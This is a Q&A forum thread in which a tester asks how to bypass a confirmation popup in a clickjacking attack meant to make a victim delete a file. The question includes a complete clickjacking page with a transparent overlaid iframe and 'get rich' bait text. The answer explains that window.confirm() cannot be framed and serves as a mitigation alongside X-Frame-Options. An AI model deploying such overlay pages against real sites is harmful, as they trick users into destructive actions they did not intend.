2

I am testing a web application for click-jacking vulnerability. The attack works fine for single clicks, however i am trying to delete a file and the hidden frame (victim) throws a pop-up confirmation.

Is there any way to hide the popup(same as of frame) and trick the user to accept it. I have googled a lot but no luck :(

Frame busting busters also not working.

Please help, Thanks

I am doing something wrong Click-jacking page code:

<html>
<body>
<script>
window.alert = function() { return false; }
</script>

<script>
window.onbeforeunload = function()
{
    return "Maybe you want to leave the page, before you become rich??";
}
</script>
<style>
iframe { 
  width:100%;
  height:100%;
  position:absolute;
  top:0; left:0;
  filter:alpha(opacity=50); /* in real life opacity=0 */
  opacity:0.5;
}
</style>
<div>Click on the link to get rich now:</div>

<iframe src="https://xyz.com/Forms/AllItems.aspx"></iframe>

<a href="https://www.google.com" target="_blank" style="position:relative;left:20px;z-index:-1">CLICK ME!</a>

<div>You'll be rich for the whole life!</div>
</body>
</html>
Improve this question
8
  • Which browser do you use?
    – Dr.Ü
    Commented Apr 19, 2013 at 11:47
  • Firefox.. but don't want to block using addons... need some way of scripting it in overlapping page(attacker page)
    – AJINKYA
    Commented Apr 19, 2013 at 11:56
  • Have you been working through this (owasp.org/index.php/Testing_for_Clickjacking_%28OWASP-CS-004%29)?
    – Dr.Ü
    Commented Apr 19, 2013 at 12:03
  • btw: which popup shows up?
    – Dr.Ü
    Commented Apr 19, 2013 at 12:05
  • Whenever i try to delete a file on victim site. It asks for confirmation to delete using popup
    – AJINKYA
    Commented Apr 19, 2013 at 12:08

1 Answer 1

Reset to default
2

Using window.confirm() is a valid method of mitigating Clickjacking when it is not possible to use x-frame-options. This popup window cannot be framed. In every browser except for Internet Explorer the origin of the confirmation window is displayed if the domain differs from the parent iframe in the popup because of Clickjacking. The use of window.confirm() as method of defending against clickjacking has been used by Google.

Using the x-frame-options is still a better method preventing clickjacking, however there are some cases where it cannot be used. For example not every browser supports the whitelist feature, and sometimes sites need a very large whitelist.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .